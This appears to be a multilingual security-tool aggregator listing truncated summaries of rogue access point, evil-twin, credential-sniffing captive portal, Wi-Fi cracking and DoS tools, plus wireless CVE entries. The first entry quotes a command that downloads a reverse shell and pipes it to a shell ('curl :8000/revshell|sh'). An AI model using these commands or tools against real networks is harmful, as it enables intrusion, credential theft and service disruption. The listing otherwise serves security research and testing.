CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive ワイヤレスアクセスポイントにおける未認証のRCE HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup はこちら: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

c41n

c41n c41n 은 자동화된 Rogue Access Point 설정 도구입니다. c41n 은 여러 유형의 Rogue Access Point 및 Evil Twin 공격의 자동화된 설정을 제공합니다. c41n 은 사용자가 정의한 특성인터페이스, 액세스 포인트 이름 및 채널으로 액세스 포인트를 설정하고, 액세스 포인트용 DHCP 서버를 설정하며, HTTP 트래픽 스니핑 또는 자격 증명 스니핑이 가능한 Captive Portal 설정 기능을 제공합니다. 설치: 설치는 저장소를 클론하고, 종속성을 설치하는 스크립트를 실행하거나 수동으...

WiFi-Pineapple-MK7_Evil-Portal

WIFI PINEAPPLE MARK VII - PORTAL MALIGNO El principal punto de acceso rogue y kit de pentest WiFi para operaciones de acceso cercano. Ataques pasivos y activos analizan dispositivos vulnerables y mal configurados. https://hak5.org/collections/sale/products/wifi-pineapple Autor :: TW-D Versión ::...

CVE-2019-6203-PoC

CVE-2019-6203-PoC 所有 Apple 设备中都存在一个 PEAP 漏洞，攻击者可利用该漏洞强制任意 Apple 设备（iOS、macOS 或 tvOS）关联到恶意接入点。 这是 CVE-2019-6203 的 PoC，适用于 iOS 12.2、macOS 10.14.4，已在 Kali Linux 上测试。 你需要一张支持 AP 模式 的 Wi-Fi 网卡来运行此 PoC。你可以通过运行 iw list 来检查，输出类似： root@kitploit: Supported interface modes: IBSS managed AP AP/VLAN monitor...

wifi-agent

wifi-agent wifi-agent 恶意接入点 该程序仅用于教育目的，以了解恶意接入点方法的工作原理。 禁止任何不必要的使用，制造商对任何人的非法使用不承担任何责任。 请自行承担使用该工具的风险，避免任何鲁莽行为。 安装说明 在Gnu / Linux操作系统上安装。 在终端中 root@kitploit: sudo su root@kitploit: git clone https://github.com/makdosx/wifi-agent.git root@kitploit: chmod -R 777 wifi-agent root@kitploit: cd...

wifipumpkin3

Wifipumpkin3 不正アクセスポイント攻撃のための強力なフレームワーク。 概要 wifipumpkin3 は、Pythonで書かれた不正アクセスポイント攻撃のための強力なフレームワークであり、セキュリティ研究者、レッドチーム、リバースエンジニアがワイヤレスネットワークを展開して中間者攻撃を実行することを可能にし、提供します。 主な機能 不正アクセスポイント攻撃 中間者攻撃 認証解除攻撃用モジュール 追加のcaptiveflaskテンプレート用モジュール 不正なDns Server キャプティブポータル攻撃 captiveflask インターセプト 、検査、変更、Webトラフィック...

infernal-twin

Infernal-Wireless v3 Release 3 Improved and Compatibility on Kali Linux 2018 Added Visual Representation of Wireless Scan Added Visual Representation of Probe Requests and Map per SSID requested by Devices Updated MAC address mapping Added MAC address mappting on probe request devices Evil Twin...

evilTrust

evilTrust Rogue AP 를 자동으로 배포하고 템플릿 선택 + 2FA 기능을 갖춘 이상적인 도구입니다. 이 도구는 여러 템플릿을 제공하며, 공격자가 자신만의 템플릿을 배포할 수 있는 사용자 정의 템플릿 옵션도 포함되어 있습니다. 중요 : 유선 연결이 필요하지 않으므로 언제 어디서나 공격을 배포할 수 있습니다. 이제 그래픽 인터페이스GUI를 지원합니다! 작동 방식 도구는 공격 배포에 필요한 유틸리티를 확인하는 것으로 시작합니다: 확인이 완료되면 사용 가능한 네트워크 인터페이스가 나열되며, 이 시점에서 모니터 모드로 설정...

pmkidcracker

PMKID WPA2 Cracker This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1. Program...

Airopy

Airopy - 무선 패킷 캡처 클라이언트와 액세스 포인트를 가져옵니다. Alfa 카드와 함께 이 스크립트가 올바르게 작동합니다. 종속성 이 스크립트를 실행하려면 먼저 다음과 같이 요구 사항을 설치하세요. root@kitploit: sudo pip3 install -r requirements.txt 사용 방법 예제에서는 'sudo'를 추가하지 않았지만, 실행하려면 고급 권한이 필요합니다. 도움말 보기: root@kitploit: python3 airopy.py -h APS 가져오기: root@kitploit: python3...

Snoopy

root@kitploit: | || | | || || || || | | | | || || || || || || || | | | | || | | || | | || || || | | || || || || || || || | | || | | || || || | | | |||| |||||||| || V0.1 「エイミー、テクノロジーは本質的に善でも悪でもない。使い方次第だ。死の光線のようにね。」 -ファーンズワース教授 Snoopy へようこそ。これは分散型トラッキング／プロファイリングフレームワークです。Snoopy...

Aruba Instant Access Point (IAP) - Cross-Site Scripting

A remote cross-site scripting xss vulnerability was discovered in some Aruba Instant Access Point IAP products in versions: Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below;...

CVE-2023-33105-Transient-DOS-in-WLAN-Host-and-Firmware

CVE-2023-33105：WLAN 主机和固件中的暂时性拒绝服务 概述 本仓库包含 CVE-2023-33105 的利用代码，该漏洞存在于高通设备中。此利用通过发送大量具有无效事务序列号的开放认证帧，对目标接入点（AP）执行拒绝服务（DoS）攻击。 CVE ID ：CVE-2023-33105 高通安全公告 ：2024 年 3 月公告 需求 Python 3.x Scapy Termcolor Airodump-ng 支持数据包注入的无线网卡 安装 安装所需的 Python 库，运行： root@kitploit: pip install -r requirements.txt 文件...

CVE-2017-9476

CVE-2017-9476 예측 가능한 자격 증명을 사용하는 숨겨진 AP. 컴파일 root@kitploit: cc xhscmmac2psk.c -o xhscmmac2psk 사용법 root@kitploit: ./xhscmmac2psk 이 알고리즘은 PSKracker에도 추가되었습니다. 참고 자료 CVE-2017-9476 Bastille-18.home-security-wifi-network.txt DEFCON 25 백서 DEFCON 25 슬라이드...

access-point

偽装アクセスポイント 管理された環境でのトラフィックキャプチャ用の不正なオープンWi‑Fi AP。hostapd（ネイティブnl80211 APモード）+ dnsmasq（DHCP/DNS）+ iptables NATを使用してアップリンクインターフェースへ転送します。 必要条件 Linux、root。 APモード対応のワイヤレスカード（iw phy → Supported interface modes: ... AP）。 パッケージ: hostapd、dnsmasq、iw、iptables、rfkill、。...

wacker

Overview A set of scripts to help perform an online dictionary attack against a WPA3 access point. Wacker leverages the wpasupplicant control interface to control the operations of the supplicant daemon and to get status information and event notifications ultimately helping speedup connection...

WiFi-Pumpkin-deprecated

이 저장소는 ⛔️ 더 이상 사용되지 않습니다, wifipumpkin3이 출시되었습니다, 확인하세요! WiFi-Pumpkin - 불량 Wi-Fi 액세스 포인트 공격 프레임워크 설명 WiFi-Pumpkin은 가짜 네트워크를 쉽게 생성하는 불량 AP 프레임워크로, 의심하지 않는 대상으로부터 합법적인 트래픽을 전달하면서 동시에 다양한 기능을 제공합니다. 기능에는 불량 Wi-Fi 액세스 포인트, 클라이언트 AP에 대한 디어트 공격, 프로브 요청 및 자격 증명 모니터, 투명 프록시, Windows 업데이트 공격, 피싱 관리자, ARP...

CVE-2004-2549

CVE-2004-2549 Nortel Wireless LAN Access Point 2200 Series - 拒绝服务 Exploit-db 发布地址：https://www.exploit-db.com/exploits/23786/ 作者 Alex Hernandez 又名 @alt3kx...

CVE-2026-19685

NetworkManager did not apply the privateuser restriction to the 802-1x.ca-path and phase2-ca-path directory-valued connection properties. This incomplete fix for CVE-2025-9615 allows an unprivileged local user to point a private WPA-Enterprise 802.1X connection profile's CA path at an...

CVE-2026-19685

NetworkManager failed to enforce the private_user restriction on the 802-1x.ca-path and phase2-ca-path directory-valued connection properties—an incomplete fix for CVE-2025-9615. An unprivileged local user can point a private WPA-Enterprise (802.1X) profile's CA path at an attacker-controlled dir...